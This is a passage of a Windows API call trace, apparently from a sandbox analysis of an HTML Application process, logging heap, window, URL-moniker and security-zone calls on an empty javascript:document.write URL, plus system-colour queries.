pcbData=0x30f6c0*=0xa | out: pdwType=0x0, pvData=0x30f6c8, pcbData=0x30f6c0*=0xa) returned 0x2 [0041.563] RegCloseKey (hKey=0xa8) returned 0x0 [0041.563] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x5507b8 [0041.563] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b980 [0041.563] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3a) returned 0x524250 [0041.563] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x550840 [0041.564] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x524878 [0041.564] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x26) returned 0x52d1d0 [0041.564] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6e) returned 0x5508b8 [0041.565] GetProcessHeap () returned 0x510000 [0041.565] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f778 | out: hHeap=0x510000) returned 1 [0041.565] GetProcessHeap () returned 0x510000 [0041.565] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f7d0 | out: hHeap=0x510000) returned 1 [0041.565] GetProcessHeap () returned 0x510000 [0041.565] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53bd38 | out: hHeap=0x510000) returned 1 [0041.565] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5336c8 [0041.565] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5248a8 [0041.565] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5336e8 [0041.565] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524298 [0041.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x550930 [0041.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x52d200 [0041.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53ff68 [0041.566] GetAcceptLanguagesW () returned 0x0 [0041.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b5c0 [0041.566] GetClassNameW (in: hWnd=0x7001a, lpClassName=0x30f994, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0041.566] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0041.566] GetParent (hWnd=0x7001a) returned 0x60268 [0041.566] GetClassNameW (in: hWnd=0x60268, lpClassName=0x30f994, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0041.566] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0041.566] GetParent (hWnd=0x60268) returned 0x0 [0041.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x533708 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x52d230 [0041.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533708 | out: hHeap=0x510000) returned 1 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x550998 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe) returned 0x54cac8 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x94) returned 0x5509f0 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x533708 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12) returned 0x533728 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x533748 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe) returned 0x54cae0 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x54caf8 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe) returned 0x54cb10 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x54cb28 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53ff90 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x53ffb8 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x53ffe0 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x533768 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x533788 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x5337a8 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x5337c8 [0041.567] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x54cb40 [0041.568] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x54cb70 [0041.568] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x54cb88 [0041.568] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x5337e8 [0041.568] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe) returned 0x54cba0 [0041.568] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x54cbb8 [0041.568] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x26) returned 0x52d260 [0041.568] GetProcessHeap () returned 0x510000 [0041.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540008 | out: hHeap=0x510000) returned 1 [0041.568] GetProcessHeap () returned 0x510000 [0041.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540030 | out: hHeap=0x510000) returned 1 [0041.568] GetProcessHeap () returned 0x510000 [0041.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540058 | out: hHeap=0x510000) returned 1 [0041.568] GetProcessHeap () returned 0x510000 [0041.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b5f0 | out: hHeap=0x510000) returned 1 [0041.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb40 | out: hHeap=0x510000) returned 1 [0041.568] IMoniker:GetDisplayName (in: This=0x53ad08, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x30f958 | out: ppszDisplayName=0x30f958*="javascript:document.write('');") returned 0x0 [0041.568] IUnknown:QueryInterface (in: This=0x53ad08, riid=0x72d572f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x30f930 | out: ppvObject=0x30f930*=0x53ad14) returned 0x0 [0041.568] IUriContainer:GetIUri (in: This=0x53ad14, ppIUri=0x30f960 | out: ppIUri=0x30f960*=0x53c694) returned 0x0 [0041.569] IUnknown:Release (This=0x53ad14) returned 0x1 [0041.569] IUnknown:AddRef (This=0x53ad08) returned 0x2 [0041.569] IUnknown:AddRef (This=0x53c694) returned 0x5 [0041.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.569] IMoniker:GetDisplayName (in: This=0x53ad08, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x30f838 | out: ppszDisplayName=0x30f838*="javascript:document.write('');") returned 0x0 [0041.569] UrlGetLocationW (psz1="javascript:document.write('');") returned 0x0 [0041.569] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:document.write('');", ppmk=0x30f804*=0x0, dwFlags=0x1 | out: ppmk=0x30f804*=0x54f7d0) returned 0x0 [0041.569] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f348 | out: ppv=0x30f348*=0x73158d20) returned 0x0 [0041.569] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f434 | out: ppvObject=0x30f434*=0x73158d2c) returned 0x0 [0041.569] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.569] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x550cc0, cchResult=0x824, pcchResult=0x30f748, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30f748*=0x0) returned 0x800c0011 [0041.570] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.570] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30f7fc | out: ppURI=0x30f7fc*=0x53c40c) returned 0x0 [0041.570] IUri:GetScheme (in: This=0x53c40c, pdwScheme=0x30f794 | out: pdwScheme=0x30f794*=0xf) returned 0x0 [0041.570] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0041.570] IUnknown:QueryInterface (in: This=0x53c40c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f79c | out: ppvObject=0x30f79c*=0x53c40c) returned 0x0 [0041.570] IUnknown:Release (This=0x53c40c) returned 0x2 [0041.570] IUnknown:AddRef (This=0x53c40c) returned 0x3 [0041.570] IUnknown:Release (This=0x53c40c) returned 0x2 [0041.570] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.570] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x540058 [0041.570] IUnknown:AddRef (This=0x53c40c) returned 0x3 [0041.570] IUri:GetAbsoluteUri (in: This=0x53c40c, pbstrAbsoluteUri=0x540058 | out: pbstrAbsoluteUri=0x540058*="javascript:document.write('');") returned 0x0 [0041.571] IUnknown:Release (This=0x53c40c) returned 0x2 [0041.571] IUnknown:AddRef (This=0x54f7d0) returned 0x2 [0041.571] IUnknown:Release (This=0x54f7d0) returned 0x1 [0041.571] IUnknown:AddRef (This=0x53ad08) returned 0x3 [0041.571] IUnknown:Release (This=0x54f7d0) returned 0x0 [0041.571] IUnknown:AddRef (This=0x53ad08) returned 0x4 [0041.571] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f604 | out: ppvObject=0x30f604*=0x53c694) returned 0x0 [0041.571] IUnknown:Release (This=0x53c694) returned 0x5 [0041.571] IUnknown:AddRef (This=0x53c694) returned 0x6 [0041.571] IUnknown:QueryInterface (in: This=0x53ad08, riid=0x72d572f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x30f5d8 | out: ppvObject=0x30f5d8*=0x53ad14) returned 0x0 [0041.571] IUriContainer:GetIUri (in: This=0x53ad14, ppIUri=0x30f62c | out: ppIUri=0x30f62c*=0x53c694) returned 0x0 [0041.571] IUnknown:Release (This=0x53ad14) returned 0x4 [0041.571] IUnknown:AddRef (This=0x53ad08) returned 0x5 [0041.571] IUnknown:Release (This=0x53ad08) returned 0x4 [0041.571] IUnknown:AddRef (This=0x53c694) returned 0x8 [0041.571] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f604 | out: ppvObject=0x30f604*=0x53c694) returned 0x0 [0041.571] IUnknown:Release (This=0x53c694) returned 0x8 [0041.571] IUnknown:AddRef (This=0x53c694) returned 0x9 [0041.571] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f5fc | out: pdwScheme=0x30f5fc*=0xf) returned 0x0 [0041.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc8) returned 0x550cc0 [0041.571] GetCurrentProcessId () returned 0x7b4 [0041.571] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f604 | out: ppvObject=0x30f604*=0x53c694) returned 0x0 [0041.571] IUnknown:Release (This=0x53c694) returned 0x9 [0041.571] IUnknown:AddRef (This=0x53c694) returned 0xa [0041.571] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f5d4 | out: pdwScheme=0x30f5d4*=0xf) returned 0x0 [0041.571] IUri:GetAbsoluteUri (in: This=0x53c694, pbstrAbsoluteUri=0x30f604 | out: pbstrAbsoluteUri=0x30f604*="javascript:document.write('');") returned 0x0 [0041.572] GetProcAddress (hModule=0x769d0000, lpProcName=0x7) returned 0x769d4680 [0041.572] SysStringLen (param_1="javascript:document.write('');") returned 0x85 [0041.572] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x30f620 | out: ppURI=0x30f620*=0x53c40c) returned 0x0 [0041.572] IUnknown:Release (This=0x53c694) returned 0x9 [0041.572] IUri:GetScheme (in: This=0x53c40c, pdwScheme=0x30f5b4 | out: pdwScheme=0x30f5b4*=0xf) returned 0x0 [0041.572] IUnknown:QueryInterface (in: This=0x53c40c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f5bc | out: ppvObject=0x30f5bc*=0x53c40c) returned 0x0 [0041.572] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.572] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.572] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.572] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.572] IUri:GetPropertyDWORD (in: This=0x53c40c, uriProp=0x11, pdwProperty=0x30f394, dwFlags=0x0 | out: pdwProperty=0x30f394*=0xf) returned 0x0 [0041.572] IInternetSecurityManager:GetSecurityId (in: This=0x545430, pwszUrl="javascript:document.write('');", pbSecurityId=0x30f3f8, pcbSecurityId=0x30f3f4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f3f8*=0x6a, pcbSecurityId=0x30f3f4*=0x89) returned 0x0 [0041.572] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pbSecurityId=0x30f3f8, pcbSecurityId=0x30f3f4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f3f8*=0x0, pcbSecurityId=0x30f3f4*=0x200) returned 0x800c0011 [0041.572] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ecd0 | out: ppv=0x30ecd0*=0x73158d20) returned 0x0 [0041.572] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30edbc | out: ppvObject=0x30edbc*=0x73158d2c) returned 0x0 [0041.572] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.572] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=3, dwParseFlags=0x0, pwzResult=0x550ea8, cchResult=0x86, pcchResult=0x30ee04, dwReserved=0x0 | out: pwzResult="javascript:document.write('');", pcchResult=0x30ee04*=0x86) returned 0x0 [0041.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x550fc0 [0041.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550fc0 | out: hHeap=0x510000) returned 1 [0041.573] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.573] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ecd0 | out: ppv=0x30ecd0*=0x73158d20) returned 0x0 [0041.573] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30edbc | out: ppvObject=0x30edbc*=0x73158d2c) returned 0x0 [0041.573] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.573] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=17, dwParseFlags=0x0, pwzResult=0x550ea8, cchResult=0x86, pcchResult=0x30ee14, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30ee14*=0x0) returned 0x800c0011 [0041.573] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.573] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b8d8 | out: hHeap=0x510000) returned 1 [0041.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x550ea8 [0041.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b938 | out: hHeap=0x510000) returned 1 [0041.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x550f40 [0041.574] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f5fc | out: pdwScheme=0x30f5fc*=0xf) returned 0x0 [0041.574] GetDC (hWnd=0x0) returned 0x3a010795 [0041.574] CreateCompatibleBitmap (hdc=0x3a010795, cx=1, cy=1) returned 0x18050841 [0041.574] GetDIBits (in: hdc=0x3a010795, hbm=0x18050841, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x30f180, usage=0x0 | out: lpvBits=0x0, lpbmi=0x30f180) returned 1 [0041.574] GetDIBits (in: hdc=0x3a010795, hbm=0x18050841, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x30f180, usage=0x0 | out: lpvBits=0x0, lpbmi=0x30f180) returned 1 [0041.574] DeleteObject (ho=0x18050841) returned 1 [0041.574] GetSysColor (nIndex=0) returned 0xc8c8c8 [0041.574] GetSysColor (nIndex=1) returned 0x0 [0041.574] GetSysColor (nIndex=2) returned 0xd1b499 [0041.574] GetSysColor (nIndex=3) returned 0xdbcdbf [0041.574] GetSysColor (nIndex=4) returned 0xf0f0f0 [0041.574] GetSysColor (nIndex=5) returned 0xffffff [0041.574] GetSysColor (nIndex=6) returned 0x646464 [0041.574] GetSysColor (nIndex=7) returned 0x0 [0041.574] GetSysColor (nIndex=8) returned 0x0 [0041.574] GetSysColor (nIndex=9) returned 0x0 [0041.574] GetSysColor (nIndex=10) returned 0xb4b4b4 [0041.574] GetSysColor (nIndex=11) returned 0xfcf7f4 [0041.574] GetSysColor (nIndex=12) returned 0xababab [0041.574] GetSysColor (nIndex=13) returned 0xff9933 [0041.574] GetSysColor (nIndex=14) returned 0xffffff [0041.574] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.574] GetSysColor (nIndex=16) returned 0xa0a0a0 [0041.574] GetSysColor (nIndex=17) returned 0x6d6d6d [0041.574] GetSysColor (nIndex=18) returned 0x0 [0041.574] GetSysColor (nIndex=19) returned 0x544e43 [0041.574] GetSysColor (nIndex=20) returned 0xffffff [0041.575] GetSysColor (nIndex=21) returned 0x696969 [0041.575] GetSysColor (nIndex=22) returned 0xe3e3e3 [0041.575] GetSysColor (nIndex=23) returned 0x0 [0041.575] GetSysColor (nIndex=24) returned 0xe1ffff [0041.575] GetSysColor (nIndex=25) returned 0x0 [0041.575] GetSysColor (nIndex=26) returned 0xcc6600 [0041.575] GetSysColor (nIndex=27) returned 0xead1b9 [0041.575] GetSysColor (nIndex=28) returned 0xf2e4d7 [0041.575] GetSysColor (nIndex=29) returned 0xff9933 [0041.575] GetSysColor (nIndex=30) returned 0xf0f0f0 [0041.575] GetSysColor (nIndex=31) returned 0x0 [0041.575] GetSysColor (nIndex=32) returned 0x0 [0041.575] GetSysColor (nIndex=33) returned 0x0 [0041.575] GetSysColor (nIndex=34) returned 0x0 [0041.575] GetSysColor (nIndex=35) returned 0x0 [0041.575] GetSysColor (nIndex=36) returned 0x0 [0041.575] GetSysColor (nIndex=37) returned 0x0 [0041.575] GetSysColor (nIndex=38) returned 0x0 [0041.575] GetSysColor (nIndex=39) returned 0x0 [0041.575] GetSysColor (nIndex=40) returned 0x0 [0041.575] GetSysColor (nIndex=41) returned 0x0 [0041.575] GetSysColor (nIndex=42) returned 0x0 [0041.575] GetSysColor (nIndex=43) returned 0x0 [0041.575] GetSysColor (nIndex=44) returned 0x0 [0041.575] GetSysColor (nIndex=45) returned 0x0 [0041.575] GetSysColor (nIndex=46) returned 0x0 [0041.575] GetSysColor (nIndex=47) returned 0x0 [0041.575] GetSysColor (nIndex=48) returned 0x0 [0041.575] GetSysColor (nIndex=49) returned 0x0 [0041.575] GetSysColor (nIndex=50) returned 0x0 [0041.575] GetSysColor (nIndex=51) returned 0x0 [0041.575] GetSysColor (nIndex=52) returned 0x0 [0041.575] GetSysColor (nIndex=53) returned 0x0 [0041.575] GetSysColor (nIndex=54) returned 0x0 [0041.575] GetSysColor (nIndex=55) returned 0x0 [0041.575] GetSysColor (nIndex=56) returned 0x0 [0041.575] GetSysColor (nIndex=57) returned 0x0 [0041.575] GetSysColor (nIndex=58) returned 0x0 [0041.575] GetSysColor (nIndex=59) returned 0x0 [0041.575] GetSysColor (nIndex=60) returned 0x0 [0041.575] GetSysColor (nIndex=61) returned 0x0 [0041.575] GetSysColor (nIndex=62) returned 0x0 [0041.575] GetSysColor (nIndex=63) returned 0x0 [0041.575] GetDeviceCaps (hdc=0x3a010795, index=38) returned 32409 [0041.575] ReleaseDC (hWnd=0x0, hDC=0x3a010795) returned 1 [0041.576] GetCurrentThreadId () returned 0x86c [0041.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b938 [0041.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x50) returned 0x551f50 [0041.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52d868 [0041.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x52d290 [0041.642] GetProcAddress (hModule=0x769d0000, lpProcName=0x8) returned 0x769d3ed5 [0041.643] GetCurrentThreadId () returned 0x86c [0041.643] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d868 | out: hHeap=0x510000) returned 1 [0041.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x550fd8 [0041.643] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30f5a0 | out: ppu=0x30f5a0) returned 0x0 [0041.643] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30f584 | out: ppURI=0x30f584*=0x53c40c) returned 0x0 [0041.643] IUnknown:AddRef (This=0x53c40c) returned 0x6 [0041.643] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30f524, dwFlags=0x0 | out: pdwZone=0x30f524*=0xffffffff) returned 0x800c0011 [0041.643] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30edf8 | out: ppv=0x30edf8*=0x73158d20) returned 0x0 [0041.643] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30eee4 | out: ppvObject=0x30eee4*=0x73158d2c) returned 0x0 [0041.644] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.644] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=3, dwParseFlags=0x0, pwzResult=0x5510f0, cchResult=0x86, pcchResult=0x30ef2c, dwReserved=0x0 | out: pwzResult="javascript:document.write('');", pcchResult=0x30ef2c*=0x86) returned 0x0 [0041.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x551208 [0041.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551208 | out: hHeap=0x510000) returned 1 [0041.644] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.644] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30edf8 | out: ppv=0x30edf8*=0x73158d20) returned 0x0 [0041.644] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30eee4 | out: ppvObject=0x30eee4*=0x73158d2c) returned 0x0 [0041.644] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.644] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=17, dwParseFlags=0x0, pwzResult=0x552fe8, cchResult=0x86, pcchResult=0x30ef3c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30ef3c*=0x0) returned 0x800c0011 [0041.644] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.644] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.645] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.645] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.645] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x2700, pPolicy=0x30f528, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30f528*=0x0) returned 0x0 [0041.645] IUnknown:Release (This=0x53c40c) returned 0x5 [0041.645] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.645] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.645] IUri:GetPropertyDWORD (in: This=0x53c40c, 